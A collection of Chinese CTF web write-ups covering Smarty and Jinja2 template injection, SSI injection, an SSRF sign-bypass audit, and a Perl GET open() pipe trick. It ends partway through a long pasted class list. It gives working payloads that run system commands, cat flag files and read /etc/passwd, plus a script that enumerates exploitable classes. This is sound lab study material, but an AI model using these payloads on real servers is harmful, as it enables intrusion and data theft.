目录
目录
[CISCN2019 华东南赛区]Web11
打开界面，好熟悉可能是做过一道类似的题，是通过ip进行注入的题目
最下面给出了smarty模板注入
会随着我的x-Forwarded-for的改变而改变，用if标签
{if system('cat /flag')}{/if}
[BJDCTF2020]EasySearch
打开界面源码，什么都没有发现，试一下万能密码之类的登录，只返回fail
那么尝试一下扫目录，发现index.php.swp然后访问
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***发现页面源码，看完代码，只要密码经过md5加密的前六位6d0bc1相同，便可成功登陆
那么构建脚本
import hashlib
for i in range(1,100000000000):
md5=hashlib.md5(str(i).encode('utf_8')).hexdigest() //hexdigest十六位的意思
if md5[0:6]=="6d0bc1":
print(str(i)+'$'+md5)
2020666
抓包发现一个url访问一下
一般这种界面都存在ssti注入，可能是cxk或者ip那里，
搜索一下，shtml的信息，补充一下什么是ssi注入，SSI 注入全称Server-Side Includes Injection（服务端包含注入），ssi可以赋予html静态页面的动态效果，通过ssi执行命令，返回对应的结果，当在网站目录中发现了.stm .shtm .shtml或在界面中发现了
<div>{$what}</div>
<p>Welcome, {{username}}</p> <div>{%$a%}</div>
就容易产生ssi注入，此处问题的其注入格式为：<!--#exec cmd="命令" -->。
username=<!--#exec cmd="ls ../"-->&password=2020666
[De1CTF 2019]SSRF Me
打开界面，整理一下python源码，表面是一道ssrf题，其实是一道python flash框架审计题
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)首先有三个路由选择的路径
@app.route("/geneSign", methods=['GET', 'POST'])
@app.route('/De1ta',methods=['GET','POST'])
@app.route('/')
我们一个个看功能，
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
这里get传参一个param值和action一起进入getSign函数
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
getSign，功能是返回一个 secert_key +param+action md5加密十六位的值，里面secertkey不确定，param是get传参进去可修改，action其实就是‘scan’字符串
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
这个De1ta路由时核心重点，action和sign时通过cookie确定，param依然是get传参，ip还是本地ip，waf函数看一下功能
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
strip去掉首位空格，lower小写，startswitch()匹配字符串第一个是否为参数中的值 ，等于过滤了gopher和file协议
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())继续看这里，task实例化对象，调用exec函数
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
直接看Exec第一步需要绕过self.checkSign，
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
看见调用函数getSign和sign值，相同就可以，然后getsign时返回一个md5加密后的值
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
继续往下看，
if "scan" in self.action:
if "read" in self.action:
这里我们大致就可以猜出，action中的值时scanread 或者readscan这样就可以执行下面的函数
resp = scan(self.param)
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
就可以读取文件，题目中给出了flag在./flag.txt文件中，param的值，一定是/flag.txt
到这分析结束，我们只要绕过checkSign，让返回的值相同就可以了，可是secret这个密钥我们不知道值呀，仔细看第一个目录就可以明白
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
action赋值了scan,我们第二个关键目录中的action的值肯定是 readscan或者scanread
而这里 (secert_key + param + ‘scan’) param里面肯定是flag的位置上面和下面就差一个read,我们完全可以 param传参flag.txtread就可以获得值了
记住是在/geneSign url下面
响应码500，服务器端错误，还以为我错了，然后直接打出cookie,正确欧克
action赋值readscan,那是因为要和上面一致，所以不用scanread，终于做出来了，不容易！！！
[CSCCTF 2019 Qual]FlaskLight
模板注入过滤 globals,拼接绕过
看题目感觉是一道flask模板注入的题
查看源码
然后通过get方法上传search
确定这是一道模板注入，然后寻找可利用的类
#查找可以利用的类
import requests
import time
# 可利用类的字典
list = ["site._Printer", "site.Quitter", "warnings.catch_warnings", "os._wrap_close", "popen", "Popen"]
for i in range(0, 1000):
url = "http://10a6d289-f0c8-4c5b-8184-9d5e0db669ce.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
time.sleep(0.1)
r = requests.get(url)
# print(res)
# print(r.text)
# print(r.text)
for j in list:
if j in r.text:
print(i)
print(j)
break
例一：warnings.catch_warnings
首先利用第一个类
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
因为globals报错，500，所以改为字符串链接，
例二：
class’site._Printer’类
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
发现flasklight，没有flag那么应该在这里面，获得flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}[HITCON 2017]SSRFme
?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获得ip地址
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
//explode就是当中，分割为部分
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"]; 其实这个也是一个ip地址的表达方式
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
//建立一个沙箱地址为/sandbox，然后以orange和ip地址的md5进行链接
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
//使用get传入一个参数但是需要进行escapeshellarg过滤
$info = pathinfo($_GET["filename"]); 不包含后缀的文件名
$dir = str_replace(".", "", basename($info["dirname"])); 目录路径
//就是禁止使用../因为替换掉了.
dirname获得文件名
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
往文件中填入 data
highlight_file(__FILE__);这里需要了解一下PHP pathinfo() 函数
- [dirname]: 目录路径
- [basename]: 文件名
- [extension]: 文件后缀名
- [filename]: 不包含后缀的文件名
这道题也是获得了一个知识点即get中的open函数漏洞
当我们使用
open函数在GET命令被调用时执行，也就是第五行执行GET命令时，perl语言会调用open命令，漏洞就存在于open命令对于文件的处理上，关于这个漏洞，perl函数看到要打开的文件名中如果以管道符（键盘上那个竖杠）结尾，就会中断原有打开文件操作，并且把这个文件名当作一个命令来执行，并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令，你会看到perl程序运行的结果。
因此，我们可以构造这样的payload：
首先：
url=【任意】&filename=cat /flag|
但前提是我们存在这样一个执行命令的文件
如下所示：
然后MD5(orange+ip)
然后通过目录 进行文件的访问，发现构建文件成功
然后就可以通过命令写入文件
?url=cat /flag|&filename=123.txt
/sandbox/2eeed2f9aeae6311b507ada8fb98809e/cat%20/flag%7C
呃呃呃呃呃呃，接下来需要反弹技术了 我赶紧去学
首先我们可以查看系统文件输出到文件中
http://117.50.3.97:8004/?url=/etc/passwd&filename=111 //默认配置文件目录
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111 然后访问该目录然后读取根目录，可以看到flag文件和readflag文件
看到有flag文件和readflag文件，原题是直接可以读取flag,在buu上要通过运行readflag读取文件，所以我们继续往下分析。
2.创建与命令执行相同的文件。
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
这样我们就创造了一个与命令相同的文件
因为由open漏洞的原理，我们使用file:协议然后运行到|就可以执行了
bash -c其实意义就是执行后面的
3.修改存储的文件，并读取flag输入到存储的文件中去。直接rce。
/?url=file:bash -c /readflag|&filename=1455
[RootersCTF2019]I_<3_Flask
运用Arjun软件，获得传参名字
打开界面，看题目肯定是一个模板注入，所以肯定需要注入点
- m指定方法 -c 控制参数大小
发现名字是get传参，name
{{''.__class__.__bases__[0].__subclasses__()}}查看子模块
all_list = "<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_socket.socket'>, <class 'datetime.timedelta'>, <class 'datetime.date'>, <class 'datetime.tzinfo'>, <class 'datetime.time'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'textwrap.TextWrapper'>, <class '__future__._Feature'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'pyexpat.xmlparser'>, <class 'plistlib.Data'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class 'gunicorn.pidfile.Pidfile'>, <class 'gunicorn.sock.BaseSocket'>, <class 'gunicorn.arbiter.Arbiter'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'shlex.shlex'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'gunicorn.reloader.InotifyReloader'>, <class 'gunicorn.config.Config'>, <class 'gunicorn.config.Setting'>, <class 'gunicorn.debug.Spew'>, <class 'gunicorn.app.base.BaseApplication'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class 'logging.handlers.QueueListener'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'logging.config.ConvertingMixin'>, <class 'logging.config.BaseConfigurator'>, <class 'gunicorn.glogging.Logger'>, <class 'gunicorn.http.unreader.Unreader'>, <class 'gunicorn.http.body.ChunkedReader'>, <class 'gunicorn.http.body.LengthReader'>, <class 'gunicorn.http.body.EOFReader'>, <class 'gunicorn.http.body.Body'>, <class 'gunicorn.http.message.Message'>, <class 'gunicorn.http.parser.Parser'>, <class 'gunicorn.http.wsgi.FileWrapper'>, <class 'gunicorn.http.wsgi.Response'>, <class 'gunicorn.workers.workertmp.WorkerTmp'>, <class 'gunicorn.workers.base.Worker'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 